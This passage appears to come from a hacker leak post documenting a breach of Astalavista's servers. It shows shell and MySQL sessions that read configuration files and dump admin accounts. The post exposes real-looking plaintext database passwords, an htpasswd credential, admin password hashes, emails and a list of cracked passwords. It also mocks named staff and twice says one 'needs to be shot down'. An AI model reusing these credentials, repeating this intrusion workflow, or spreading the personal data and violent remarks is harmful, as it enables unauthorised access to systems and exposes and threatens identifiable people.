<p>        if ($q->numRows() == 0) {</p>
<p>            // prepare array<br />
            $comExploits[$x]['date']      = $date;<br />
            $comExploits[$x]['title']     = $title;<br />
            $comExploits[$x]['author']    = ‘milw0rm’;<br />
            $comExploits[$x]['text']      = $text;<br />
            $comExploits[$x]['source']    = $ext;<br />
            $comExploits[$x]['url1']      = ”;<br />
            $comExploits[$x]['url2']      = ”;<br />
            $comExploits[$x]['catid']     = $cat;<br />
            $comExploits[$x]['lang']      = ‘2′;<br />
            $comExploits[$x]['userid']    = ‘12′;<br />
            $comExploits[$x]['startdate'] = ‘0000-00-00′;<br />
            $comExploits[$x]['enddate']   = ‘0000-00-00′;<br />
            $comExploits[$x]['status']    = ‘1′;<br />
            $comExploits[$x]['changelog'] = $date;</p>
<p>        }<br />
[snip]<br />
    $xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?><br />
<rss version=”2.0″><br />
    <channel></p>
<link>http://www.astalavista.com/exploits</link>
        <description>All availably Exploits.</description><br />
        <language>en-us</language><br />
        <lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate><br />
        <docs>http://blogs.law.harvard.edu/tech/rss</docs><br />
        <generator>Astalavista.com</generator><br />
        <webMaster>info@astalavista.com</webMaster>’ . $items . ‘<br />
    </channel><br />
</rss>’;</p>
<p>    if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {<br />
        unlink (FULLPATH . ‘/feed/exploits.xml’);<br />
    }</p>
<p>    file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);<br />
[snip]</p>
<p>sh-3.2$ cat exploits.sh<br />
#!/bin/sh</p>
<p>###########################################################<br />
#                                                         #<br />
#   Title:        milw0rm exploits adder                  #<br />
#   Description:  Add all milw0rm exploits to the         #<br />
#                 Astalavista.com database                #<br />
#                                                         #<br />
#   Company:      Astalavista Group                       #<br />
#   Author:       Paulo M. Santos                         #<br />
#   E-Mail:       paulo.santos@astalavista.ch             #<br />
#                                                         #<br />
###########################################################</p>
<p># path<br />
this_path=/home/com/public_html/modifications/cronjobs</p>
<p># change directory<br />
cd $this_path<br />
cd tmp/</p>
<p># delete files<br />
rm -rf milw0rm.tar.* &#038;<br />
rm -rf milw0rm/ &#038;</p>
<p># wget milw0rm paket<br />
wget http://www.milw0rm.com/sploits/milw0rm.tar.bz2</p>
<p># extract milw0rm paket<br />
tar -xvf milw0rm.tar.bz2</p>
<p># change owner<br />
chown -R com .<br />
chgrp -R com .</p>
<p># execute php script<br />
cd $this_path<br />
php -q exploits.php</p>
<p># delete files<br />
rm -rf tmp/milw0rm.tar.*<br />
rm -rf tmp/milw0rm/</p>
<p>sh-3.2$ echo “Paulo M. Santos needs to be shot down.”<br />
Paulo M. Santos needs to be shot down.</p>
<p>mysql -u contrexxuser2 -p<br />
Enter password:<br />
Welcome to the MySQL monitor.  Commands end with ; or \g.<br />
Your MySQL connection id is 261694<br />
Server version: 5.0.45-community-log MySQL Community Edition (GPL)</p>
<p>Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.</p>
<p>mysql> show databases;<br />
+——————–+<br />
| Database           |<br />
+——————–+<br />
| information_schema |<br />
| com_contrexx2      |<br />
| com_contrexx2_live |<br />
| test               |<br />
+——————–+<br />
4 rows in set (0.00 sec)</p>
<p>mysql> use com_contrexx2_live<br />
Database changed<br />
mysql> show tables;<br />
+————————————————–+<br />
| Tables_in_com_contrexx2_live                     |<br />
+————————————————–+<br />
| cc_banner_counter                                |<br />
| cc_search_counter                                |<br />
| contrexx_access_group_dynamic_ids                |<br />
| contrexx_access_group_static_ids                 |<br />
| contrexx_access_rel_user_group                   |<br />
| contrexx_access_settings                         |<br />
| contrexx_access_user_attribute                   |<br />
| contrexx_access_user_attribute_name              |<br />
| contrexx_access_user_attribute_value             |<br />
| contrexx_access_user_core_attribute              |<br />
| contrexx_access_user_groups                      |<br />
| contrexx_access_user_mail                        |<br />
| contrexx_access_user_profile                     |<br />
| contrexx_access_user_title                       |<br />
| contrexx_access_user_validity                    |<br />
| contrexx_access_users                            |<br />
| contrexx_backend_areas                           |<br />
| contrexx_backups                                 |<br />
| contrexx_content                                 |<br />
| contrexx_content_history                         |<br />
| contrexx_content_logfile                         |<br />
| contrexx_content_navigation                      |<br />
| contrexx_content_navigation_history              |<br />
| contrexx_ids                                     |<br />
| contrexx_languages                               |<br />
| contrexx_lib_country                             |<br />
| contrexx_log                                     |<br />
| contrexx_module_alias_source                     |<br />
| contrexx_module_alias_target                     |<br />
| contrexx_module_block_blocks                     |<br />
| contrexx_module_block_rel_lang                   |<br />
| contrexx_module_block_rel_pages                  |<br />
| contrexx_module_block_settings                   |<br />
| contrexx_module_blog_categories                  |<br />
| contrexx_module_blog_comments                    |<br />
| contrexx_module_blog_message_to_category         |<br />
| contrexx_module_blog_messages                    |<br />
| contrexx_module_blog_messages_lang               |<br />
| contrexx_module_blog_networks                    |<br />
| contrexx_module_blog_networks_lang               |<br />
| contrexx_module_blog_settings                    |<br />
| contrexx_module_blog_votes                       |<br />
| contrexx_module_calendar                         |<br />
| contrexx_module_calendar_access                  |<br />
| contrexx_module_calendar_categories              |<br />
| contrexx_module_calendar_form_data               |<br />
| contrexx_module_calendar_form_fields             |<br />
| contrexx_module_calendar_registrations           |<br />
| contrexx_module_calendar_settings                |<br />
| contrexx_module_calendar_style                   |<br />
| contrexx_module_contact_form                     |<br />
| contrexx_module_contact_form_data                |<br />
| contrexx_module_contact_form_field               |<br />
| contrexx_module_contact_settings                 |<br />
| contrexx_module_data_categories                  |<br />
| contrexx_module_data_message_to_category         |<br />
| contrexx_module_data_messages                    |<br />
| contrexx_module_data_messages_lang               |<br />
| contrexx_module_data_placeholders                |<br />
| contrexx_module_data_settings                    |<br />
| contrexx_module_directory_access                 |<br />
| contrexx_module_directory_categories             |<br />
| contrexx_module_directory_dir                    |<br />
| contrexx_module_directory_inputfields            |<br />
| contrexx_module_directory_levels                 |<br />
| contrexx_module_directory_mail                   |<br />
| contrexx_module_directory_rel_dir_cat            |<br />
| contrexx_module_directory_rel_dir_level          |<br />
| contrexx_module_directory_settings               |<br />
| contrexx_module_directory_settings_google        |<br />
| contrexx_module_directory_vote                   |<br />
| contrexx_module_docsys                           |<br />
| contrexx_module_docsys_categories                |<br />
| contrexx_module_egov_configuration               |<br />
| contrexx_module_egov_orders                      |<br />
| contrexx_module_egov_product_calendar            |<br />
| contrexx_module_egov_product_fields              |<br />
| contrexx_module_egov_products                    |<br />
| contrexx_module_egov_settings                    |<br />
| contrexx_module_exploits                         |<br />
| contrexx_module_exploits_categories              |<br />
| contrexx_module_feed_category                    |<br />
| contrexx_module_feed_news                        |<br />
| contrexx_module_feed_newsml_association          |<br />
| contrexx_module_feed_newsml_categories           |<br />
| contrexx_module_feed_newsml_documents            |<br />
| contrexx_module_feed_newsml_providers            |<br />
| contrexx_module_forum_access                     |<br />
| contrexx_module_forum_categories                 |<br />
| contrexx_module_forum_categories_lang            |<br />
| contrexx_module_forum_notification               |<br />
| contrexx_module_forum_postings                   |<br />
| contrexx_module_forum_rating                     |<br />
| contrexx_module_forum_settings                   |<br />
| contrexx_module_forum_statistics                 |<br />
| contrexx_module_gallery_categories               |<br />
| contrexx_module_gallery_comments                 |<br />
| contrexx_module_gallery_language                 |<br />
| contrexx_module_gallery_language_pics            |<br />
| contrexx_module_gallery_pictures                 |<br />
| contrexx_module_gallery_settings                 |<br />
| contrexx_module_gallery_votes                    |<br />
| contrexx_module_guestbook                        |<br />
| contrexx_module_guestbook_settings               |<br />
| contrexx_module_livecam                          |<br />
| contrexx_module_livecam_settings                 |<br />
| contrexx_module_market                           |<br />
| contrexx_module_market_access                    |<br />
| contrexx_module_market_categories                |<br />
| contrexx_module_market_mail                      |<br />
| contrexx_module_market_paypal                    |<br />
| contrexx_module_market_settings                  |<br />
| contrexx_module_market_spez_fields               |<br />
| contrexx_module_mediadir_access                  |<br />
| contrexx_module_mediadir_categories              |<br />
| contrexx_module_mediadir_comments                |<br />
| contrexx_module_mediadir_dir                     |<br />
| contrexx_module_mediadir_inputfields             |<br />
| contrexx_module_mediadir_levels                  |<br />
| contrexx_module_mediadir_mail                    |<br />
| contrexx_module_mediadir_rel_dir_cat             |<br />
| contrexx_module_mediadir_rel_dir_level           |<br />
| contrexx_module_mediadir_reports                 |<br />
| contrexx_module_mediadir_settings                |<br />
| contrexx_module_mediadir_settings_google         |<br />
| contrexx_module_mediadir_vote                    |<br />
| contrexx_module_memberdir_directories            |<br />
| contrexx_module_memberdir_name                   |<br />
| contrexx_module_memberdir_settings               |<br />
| contrexx_module_memberdir_values                 |<br />
| contrexx_module_nettools_allowed_groups          |<br />
| contrexx_module_nettools_settings                |<br />
| contrexx_module_news                             |<br />
| contrexx_module_news_access                      |<br />
| contrexx_module_news_categories                  |<br />
| contrexx_module_news_settings                    |<br />
| contrexx_module_news_teaser_frame                |<br />
| contrexx_module_news_teaser_frame_templates      |<br />
| contrexx_module_news_ticker                      |<br />
| contrexx_module_newsletter                       |<br />
| contrexx_module_newsletter_attachment            |<br />
| contrexx_module_newsletter_category              |<br />
| contrexx_module_newsletter_confirm_mail          |<br />
| contrexx_module_newsletter_rel_cat_news          |<br />
| contrexx_module_newsletter_rel_user_cat          |<br />
| contrexx_module_newsletter_settings              |<br />
| contrexx_module_newsletter_template              |<br />
| contrexx_module_newsletter_tmp_sending           |<br />
| contrexx_module_newsletter_user                  |<br />
| contrexx_module_newsletter_user_title            |<br />
| contrexx_module_onlinetools_defaultports         |<br />
| contrexx_module_onlinetools_defaultports_back    |<br />
| contrexx_module_onlinetools_geolitecity_blocks   |<br />
| contrexx_module_onlinetools_geolitecity_country  |<br />
| contrexx_module_onlinetools_geolitecity_location |<br />
| contrexx_module_podcast_category                 |<br />
| contrexx_module_podcast_medium                   |<br />
| contrexx_module_podcast_rel_category_lang        |<br />
| contrexx_module_podcast_rel_medium_category      |<br />
| contrexx_module_podcast_settings                 |<br />
| contrexx_module_podcast_template                 |<br />
| contrexx_module_proxydb                          |<br />
| contrexx_module_recommend                        |<br />
| contrexx_module_repository                       |<br />
| contrexx_module_securitynews_cats                |<br />
| contrexx_module_securitynews_feeds               |<br />
| contrexx_module_securitynews_news                |<br />
| contrexx_module_shop_categories                  |<br />
| contrexx_module_shop_config                      |<br />
| contrexx_module_shop_countries                   |<br />
| contrexx_module_shop_currencies                  |<br />
| contrexx_module_shop_customers                   |<br />
| contrexx_module_shop_importimg                   |<br />
| contrexx_module_shop_lsv                         |<br />
| contrexx_module_shop_mail                        |<br />
| contrexx_module_shop_mail_content                |<br />
| contrexx_module_shop_manufacturer                |<br />
| contrexx_module_shop_order_items                 |<br />
| contrexx_module_shop_order_items_attributes      |<br />
| contrexx_module_shop_orders                      |<br />
| contrexx_module_shop_payment                     |<br />
| contrexx_module_shop_payment_processors          |<br />
| contrexx_module_shop_pricelists                  |<br />
| contrexx_module_shop_products                    |<br />
| contrexx_module_shop_products_attributes         |<br />
| contrexx_module_shop_products_attributes_name    |<br />
| contrexx_module_shop_products_attributes_value   |<br />
| contrexx_module_shop_products_downloads          |<br />
| contrexx_module_shop_rel_countries               |<br />
| contrexx_module_shop_rel_payment                 |<br />
| contrexx_module_shop_rel_shipment                |<br />
| contrexx_module_shop_shipment_cost               |<br />
| contrexx_module_shop_shipper                     |<br />
| contrexx_module_shop_vat                         |<br />
| contrexx_module_shop_zones                       |<br />
| contrexx_module_u2u_address_list                 |<br />
| contrexx_module_u2u_message_log                  |<br />
| contrexx_module_u2u_sent_messages                |<br />
| contrexx_module_u2u_settings                     |<br />
| contrexx_module_u2u_user_log                     |<br />
| contrexx_modules                                 |<br />
| contrexx_sessions                                |<br />
| contrexx_settings                                |<br />
| contrexx_settings_smtp                           |<br />
| contrexx_skins                                   |<br />
| contrexx_stats_browser                           |<br />
| contrexx_stats_colourdepth                       |<br />
| contrexx_stats_config                            |<br />
| contrexx_stats_country                           |<br />
| contrexx_stats_hostname                          |<br />
| contrexx_stats_javascript                        |<br />
| contrexx_stats_operatingsystem                   |<br />
| contrexx_stats_referer                           |<br />
| contrexx_stats_requests                          |<br />
| contrexx_stats_requests_summary                  |<br />
| contrexx_stats_screenresolution                  |<br />
| contrexx_stats_search                            |<br />
| contrexx_stats_spiders                           |<br />
| contrexx_stats_spiders_summary                   |<br />
| contrexx_stats_visitors                          |<br />
| contrexx_stats_visitors_summary                  |<br />
| contrexx_voting_additionaldata                   |<br />
| contrexx_voting_email                            |<br />
| contrexx_voting_rel_email_system                 |<br />
| contrexx_voting_results                          |<br />
| contrexx_voting_system                           |<br />
| foo                                              |<br />
+————————————————–+<br />
227 rows in set (0.01 sec)</p>
<p>mysql> select count(*) as skids from contrexx_access_users;<br />
+——-+<br />
| skids |<br />
+——-+<br />
| 53699 |<br />
+——-+<br />
1 row in set (0.00 sec)</p>
<p>mysql> describe contrexx_access_users;<br />
+——————+——————————————+——+—–+————–+—————-+<br />
| Field            | Type                                     | Null | Key | Default      | Extra          |<br />
+——————+——————————————+——+—–+————–+—————-+<br />
| id               | int(10) unsigned                         | NO   | PRI | NULL         | auto_increment |<br />
| is_admin         | tinyint(1) unsigned                      | NO   |     | 0            |                |<br />
| username         | varchar(40)                              | YES  | MUL | NULL         |                |<br />
| password         | varchar(32)                              | YES  |     | NULL         |                |<br />
| regdate          | int(14) unsigned                         | NO   |     | 0            |                |<br />
| expiration       | int(14) unsigned                         | NO   |     | 0            |                |<br />
| validity         | int(10) unsigned                         | NO   |     | 0            |                |<br />
| last_auth        | int(14) unsigned                         | NO   |     | 0            |                |<br />
| last_activity    | int(14) unsigned                         | NO   |     | 0            |                |<br />
| email            | varchar(255)                             | YES  |     | NULL         |                |<br />
| email_access     | enum(’everyone’,&#8217;members_only’,&#8217;nobody’) | NO   |     | nobody       |                |<br />
| frontend_lang_id | int(2) unsigned                          | NO   |     | 0            |                |<br />
| backend_lang_id  | int(2) unsigned                          | NO   |     | 0            |                |<br />
| active           | tinyint(1)                               | NO   |     | 0            |                |<br />
| profile_access   | enum(’everyone’,&#8217;members_only’,&#8217;nobody’) | NO   |     | members_only |                |<br />
| restore_key      | varchar(32)                              | NO   |     |              |                |<br />
| restore_key_time | int(14) unsigned                         | NO   |     | 0            |                |<br />
| u2u_active       | enum(’0′,’1′)                            | NO   |     | 1            |                |<br />
+——————+——————————————+——+—–+————–+—————-+<br />
18 rows in set (0.00 sec)</p>
<p>mysql> select username,password,email from contrexx_access_users where is_admin = 1;<br />
+————+———————————-+—————————–+<br />
| username   | password                         | email                       |<br />
+————+———————————-+—————————–+<br />
| system     | 0defe9e458e745625fffbc215d7801c5 | info@comvation.com          |<br />
| prozac     | 1f65f06d9758599e9ad27cf9707f92b5 | prozac@astalavista.com      |<br />
| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | paulo.santos@astalavista.ch |<br />
| schmid     | 0defe9e458e745625fffbc215d7801c5 | ivan.schmid@comvation.com   |<br />
+————+———————————-+—————————–+<br />
4 rows in set (0.04 sec)</p>
<p>mysql> exit;<br />
Bye</p>
<p>[~] There you go, your “team of security and IT professionals” is a joke.</p>
<p>+——————————+<br />
system:f82BN3+_*<br />
Be1er0ph0r:belerophor4astacom<br />
prozac:asta4cms!<br />
commander:mpbdaagf6m<br />
sykadul:ak29eral<br />
+——————————+</p>
<p>[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)<br />
…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.</p>
<p>[~] Lets move to astalavista.net now,</p>
<p>From <https://www.astalavista.net/>:<br />
>> Everyone knows that the best defense is a good offense.<br />
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.<br />
>> The ASTALAVISTA hacking &#038; security community is the largest IT security community in the world.<br />
>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”</p>
<p>>> Go ahead, try and hack our server . in a completely legal way!<br />
>> Learn by doing: We offer our members tricky tasks and challenges on an<br />
>> ongoing basis so you can test your knowledge and abilities. You can also<br />
>> demonstrate what you.ve mastered by taking part in regular hacker contests<br />
>> and war games</p>
<p>[~] Lets take a look there, after all… they are hack-proof, aren’t they?!</p>
<p>[-] Tricky task: Find home dir of astalavista.net</p>
<p>sh-3.2$ ls -la ~astanet<br />
total 48<br />
drwx–x–x  6 astanet astanet 4096 Dec 23 15:55 .<br />
drwxr-xr-x 14 root    root    4096 Mar 11 17:56 ..<br />
drwxr-xr-x  2 root    root    4096 Dec 23 16:00 auth<br />
-rw——-  1 astanet astanet 3892 Apr 16 12:14 .bash_history<br />
-rw-r–r–  1 astanet astanet   33 Dec 17 21:50 .bash_logout<br />
-rw-r–r–  1 astanet astanet  176 Dec 17 21:50 .bash_profile<br />
-rw-r–r–  1 astanet astanet  124 Dec 17 21:50 .bashrc<br />
drwx–x–x  3 astanet astanet 4096 Dec 23 12:18 domains<br />
drwxrwx—  3 astanet mail    4096 Dec 23 12:18 imap<br />
drwx——  2 astanet astanet 4096 Dec 23 12:18 mail<br />
lrwxrwxrwx  1 astanet astanet   37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html<br />
-rw-r—–  1 astanet mail      34 Dec 22 12:41 .shadow</p>
<p>sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/<br />
sh-3.2$ ls -la<br />
total 200<br />
drwxr-x— 29 astanet apache   4096 Jan  6 13:58 .<br />
drwx–x–x  8 astanet astanet  4096 Dec 23 13:53 ..<br />
drwxr-xr-x  3 astanet astanet  4096 Dec 27  2006 _007<br />
drwxr-xr-x  7 astanet astanet  4096 Jan  5  2006 _0mysql<br />
drwxr-xr-x  7 astanet astanet  4096 Dec 22 14:16 astanet@astalavista.com<br />
drwxrwxrwx  2 astanet astanet  4096 Jan  5  2006 backend<br />
drwxr-xr-x  2 astanet astanet  4096 Oct 24  2006 banner<br />
-rw-r–r–  1 astanet astanet 25724 Apr  4  2006 banner.jpg<br />
drwxr-xr-x  2 astanet astanet  4096 Aug 11  2006 config<br />
drwxr-xr-x  3 astanet astanet  4096 Jan 12 08:52 cron<br />
drwxr-xr-x 11 astanet astanet  4096 Jan  5  2006 dvd<br />
-rw-r–r–  1 astanet astanet    36 Jan  5  2006 error.php<br />
-rw-r–r–  1 astanet astanet  1406 Jan  5  2006 favicon.ico<br />
drwxrwxrwx  2 astanet astanet  4096 Dec 15  2006 feed<br />
drwxr-xr-x  3 astanet astanet  4096 Dec  8  2006 flashtour<br />
-rw-r–r–  1 astanet astanet    18 Jan  5  2006 htaccess<br />
-rw-r–r–  1 astanet astanet   585 Mar 24 14:50 .htaccess<br />
-rw-r–r–  1 astanet astanet   398 Jan  5  2006 index1.php<br />
-rw-r–r–  1 astanet astanet  1036 Jan  5  2006 _index.html<br />
-rw-r–r–  1 astanet astanet  6880 Dec 23 14:44 index.php<br />
-rw-r–r–  1 astanet astanet   676 Mar 21  2006 index_redirect.php<br />
-rw-r–r–  1 astanet astanet   739 Feb 24  2006 index.swf<br />
drwxr-xr-x  4 astanet astanet  4096 Oct 18  2006 irc<br />
drwxr-xr-x  4 astanet astanet  4096 Aug 11  2006 lang<br />
drwxr-xr-x 13 astanet astanet  4096 Sep 21  2006 lib<br />
drwxr-xr-x  6 astanet astanet  4096 Aug 11  2006 log<br />
drwxr-xr-x  2 astanet astanet  4096 Jan 13 14:02 member<br />
drwxrwxrwx  5 astanet astanet  4096 Jun  4 00:03 memberdata<br />
drwxr-xr-x  2 astanet astanet  4096 Jan  5  2006 new<br />
-rw-r–r–  1 astanet astanet  7219 Feb 24  2006 pix1.swf<br />
drwxr-xr-x  2 astanet astanet  4096 Oct 27  2006 re<br />
-rw-r–r–  1 astanet astanet    23 Jan  5  2006 robots.txt<br />
drwxr-xr-x  3 astanet astanet  4096 Aug 11  2006 rss<br />
drwxr-xr-x 39 astanet astanet  4096 Dec 13  2007 sources<br />
drwxrwxrwx  3 astanet astanet  4096 Feb  2 15:40 temp_com<br />
drwxr-xr-x  7 astanet astanet  4096 Aug 11  2006 themes<br />
drwxr-xr-x  2 astanet astanet  4096 Mar 14  2008 tmp_src<br />
drwxr-xr-x  5 astanet astanet  4096 Aug 11  2006 tpl<br />
drwxr-xr-x  3 astanet astanet  4096 Sep  7  2006 v2<br />
drwxr-xr-x 16 astanet astanet  4096 Jul  5  2006 v2_old<br />
-rw-r–r–  1 astanet astanet    35 Dec  4  2006 webcash.php<br />
drwxr-xr-x 13 astanet astanet  4096 Sep 21  2006 wiki</p>
<p>sh-3.2$ head -20 index.php<br />
<?PHP<br />
/**<br />
* Mainfile (external) for astalavistaNET v2.0<br />
*<br />
* @copyright     Astalavista IT Engineering GmbH<br />
* @author        Thomas Kaelin
<thomas.kaelin@astalavista.ch>
* @version       1.0<br />
*/</p>
<p>        if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {<br />
                $dontStartSession = false;<br />
        } else {<br />
                $dontStartSession = true;<br />
        }<br />
        require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);<br />
        require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);<br />
        require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);<br />
        require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);</p>
<p>sh-3.2$ cd config<br />
sh-3.2$ ls -la<br />
total 32<br />
drwxr-xr-x  2 astanet astanet 4096 Aug 11  2006 .<br />
drwxr-x— 29 astanet apache  4096 Jan  6 13:58 ..<br />
-rw-r–r–  1 astanet astanet  987 Aug 11  2006 adm.conf.php<br />
-rw-r–r–  1 astanet astanet 4937 Dec 23 15:48 com.conf.php<br />
-rw-r–r–  1 astanet astanet  913 Aug 11  2006 cron.conf.php<br />
-rw-r–r–  1 astanet astanet 1668 Aug 20  2008 ext.conf.php<br />
-rw-r–r–  1 astanet astanet 2724 May 30  2007 int.conf.php</p>
<p>sh-3.2$ cat com.conf.php<br />
[snip]<br />
//member-database<br />
$_CONFIG['db_mem_server']       = ‘localhost’;<br />
$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;<br />
$_CONFIG['db_mem_user']         = ‘astanet_db’;<br />
$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;<br />
$_CONFIG['db_mem_debug']        = false; //true or false<br />
//ads-database<br />
$_CONFIG['db_ads_server']       = ‘localhost’;<br />
$_CONFIG['db_ads_database'] = ‘astanet_ads’;<br />
$_CONFIG['db_ads_user']         = ‘astanet_db’;<br />
$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;<br />
$_CONFIG['db_ads_debug']        = false; //true or false<br />
//rainbow-database<br />
$_CONFIG['db_rainbow_server']   = ‘212.254.194.163′;<br />
$_CONFIG['db_rainbow_database'] = ‘rainbow’;<br />
$_CONFIG['db_rainbow_user']     = ‘dinu’;<br />
$_CONFIG['db_rainbow_password'] = ‘dinudinu’;<br />
$_CONFIG['db_rainbow_debug']    = false; //true or false<br />
//mailing lists database<br />
$_CONFIG['db_mailing_lists_server']     = ‘localhost’;<br />
$_CONFIG['db_mailing_lists_database']   = ‘astanet_mailing_lists’;<br />
$_CONFIG['db_mailing_lists_user']               = ‘astanet_db’;<br />
$_CONFIG['db_mailing_lists_password']   = ‘TXwVrC7hbq’;<br />
$_CONFIG['db_mailing_lists_debug']              = false; //true or false<br />
//paypal<br />
$_CONFIG['sub_pp_url']          = ‘https://www.paypal.com/cgi-bin/webscr’;<br />
$_CONFIG['sub_pp_cmd']          = ‘_xclick’;<br />
$_CONFIG['sub_pp_business'] = ‘info@astalavista.net’;<br />
$_CONFIG['sub_pp_noship']       = ‘1′;<br />
$_CONFIG['sub_pp_referer']      = ‘https://www.paypal.com/’;<br />
[snip]</p>
<p>sh-3.2$ cd ..<br />
sh-3.2$ cd member<br />
sh-3.2$ ls -la<br />
total 20<br />
drwxr-xr-x  2 astanet astanet 4096 Jan 13 14:02 .<br />
drwxr-x— 29 astanet apache  4096 Jan  6 13:58 ..<br />
-rw-r–r–  1 astanet astanet   19 Jan 13 14:02 .htaccess<br />
-rwxr-xr-x  1 astanet astanet 6709 Jan 13 14:06 index.php<br />
sh-3.2$ cat .htaccess<br />
SecFilterEngine off</p>
<p>sh-3.2$ cd ..<br />
sh-3.2$ cd cron<br />
sh-3.2$ ls -la<br />
total 168<br />
drwxr-xr-x  3 astanet astanet  4096 Jan 12 08:52 .<br />
drwxr-x— 29 astanet apache   4096 Jan  6 13:58 ..<br />
-rw-r–r–  1 astanet astanet  1272 Jan 12 08:24 0_corefile.php<br />
-rw-r–r–  1 astanet astanet  2356 Aug 11  2006 0_functions.php<br />
-rw-r–r–  1 astanet astanet  3616 Dec 23 15:44 1_daily.php<br />
-rw-r–r–  1 astanet astanet   527 Aug 11  2006 1_fivemin.php<br />
-rw-r–r–  1 astanet astanet  5006 Dec 23 15:39 1_hourly.php<br />
-rw-r–r–  1 astanet astanet   432 Aug 11  2006 1_weekly.php<br />
-rw-r–r–  1 astanet astanet  2277 Aug 11  2006 2_advertising.php<br />
-rw-r–r–  1 astanet astanet  4882 Dec 23 15:40 2_archives.php<br />
-rw-r–r–  1 astanet astanet  3784 Aug 16  2006 2_awstats.sh<br />
-rw-r–r–  1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php<br />
-rw-r–r–  1 astanet astanet 14979 Jan 12 09:10 2_expire.php<br />
-rw-r–r–  1 astanet astanet  7657 Aug 15  2006 2_exploitree_updater.php<br />
-rw-r–r–  1 astanet astanet   686 Dec 23 16:31 2_filesize.sh<br />
-rw-r–r–  1 astanet astanet  9853 Aug 11  2006 2_keywords_old.php<br />
-rw-r–r–  1 astanet astanet 15664 Sep 22  2006 2_keywords.php<br />
-rw-r–r–  1 astanet astanet  1233 Aug 11  2006 2_proxy_checker.php<br />
-rw-r–r–  1 astanet astanet  7558 Aug 11  2006 2_proxy_collector.php<br />
-rw-r–r–  1 astanet astanet   796 Aug 11  2006 99_create_emails.php<br />
drwxr-xr-x  2 astanet astanet  4096 Aug 11  2006 99_lang_email<br />
-rw-r–r–  1 astanet astanet  9622 Jan  6 16:04 login_reminder.php<br />
-rw-r–r–  1 astanet astanet  9620 Jan  6 16:05 login_reminder_test.php</p>
<p>sh-3.2$ cd ..<br />
sh-3.2$ cd _007<br />
sh-3.2$ ls -la<br />
total 24<br />
drwxr-xr-x  3 astanet astanet 4096 Dec 27  2006 .<br />
drwxr-x— 29 astanet apache  4096 Jan  6 13:58 ..<br />
-rw-r–r–  1 astanet astanet   96 Dec 23 15:17 .htaccess<br />
-rw-r–r–  1 astanet astanet 3263 Jan 15  2007 index.php<br />
-rw-r–r–  1 astanet astanet   20 Dec 27  2006 info.php<br />
drwxr-xr-x  5 astanet astanet 4096 Aug 11  2006 sitemap</p>
<p>sh-3.2$ cat  .htaccess<br />
authType Basic<br />
authName Admin<br />
authUserFile /home/astanet/auth/.htadm_pwd<br />
require valid-user</p>
<p>sh-3.2$ cat /home/astanet/auth/.htadm_pwd<br />
admin2net:CR0bl65MwhfT</p>
<p>sh-3.2$ mysql -u astanet_db -p<br />
Enter password:<br />
Welcome to the MySQL monitor.  Commands end with ; or \g.<br />
Your MySQL connection id is 275153<br />
Server version: 5.0.45-community-log MySQL Community Edition (GPL)</p>
<p>Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.</p>
<p>mysql> show databases;<br />
+———————–+<br />
| Database              |<br />
+———————–+<br />
| information_schema    |<br />
| astanet_ads           |<br />
| astanet_mailing_lists |<br />
| astanet_mediawiki     |<br />
| astanet_membersystem  |<br />
| test                  |<br />
+———————–+<br />
6 rows in set (0.00 sec)</p>
<p>mysql> use astanet_membersystem<br />
Database changed<br />
mysql> show tables;<br />
+———————————–+<br />
| Tables_in_astanet_membersystem    |<br />
+———————————–+<br />
| blacklist_categories              |<br />
| blacklist_content                 |<br />
| blacklist_levels                  |<br />
| blacklist_mcset                   |<br />
| dir_categories                    |<br />
| dir_comments                      |<br />
| dir_links                         |<br />
| dir_temp                          |<br />
| dir_votes                         |<br />
| documents                         |<br />
| documents_categories              |<br />
| email_content                     |<br />
| email_settings                    |<br />
| exploits                          |<br />
| exploits_categories               |<br />
| exploittree_categories            |<br />
| exploittree_exploits              |<br />
| home_values                       |<br />
| iso_countries                     |<br />
| links_categories                  |<br />
| links_records                     |<br />
| links_unauth                      |<br />
| links_votes                       |<br />
| log                               |<br />
| news_categories                   |<br />
| news_comments                     |<br />
| news_emoticons                    |<br />
| news_latest                       |<br />
| news_messages                     |<br />
| news_statistics                   |<br />
| news_votes                        |<br />
| prices_content                    |<br />
| prices_offers                     |<br />
| rss_settings                      |<br />
| sessions                          |<br />
| stats_signups                     |<br />
| u2u2                              |<br />
| u2u_contact                       |<br />
| u2u_settings                      |<br />
| user_keywords_selected_categories |<br />
| users                             |<br />
| users_ipn_test                    |<br />
| users_keyword_values              |<br />
| users_profile                     |<br />
| users_temp                        |<br />
| users_upgrade                     |<br />
+———————————–+<br />
46 rows in set (0.00 sec)</p>
<p>mysql> describe users;<br />
+————————–+————————————–+——+—–+———————+—————-+<br />
| Field                    | Type                                 | Null | Key | Default             | Extra          |<br />
+————————–+————————————–+——+—–+———————+—————-+<br />
| primary_key              | smallint(5) unsigned                 | NO   | PRI | NULL                | auto_increment |<br />
| user                     | varchar(50)                          | NO   |     |                     |                |<br />
| nickname                 | varchar(30)                          | NO   | MUL | anonymous           |                |<br />
| password                 | varchar(30)                          | NO   |     |                     |                |<br />
| userlevel                | tinyint(3)                           | YES  | MUL | NULL                |                |<br />
| exp                      | int(8) unsigned                      | NO   |     | 0                   |                |<br />
| email                    | varchar(50)                          | NO   |     |                     |                |<br />
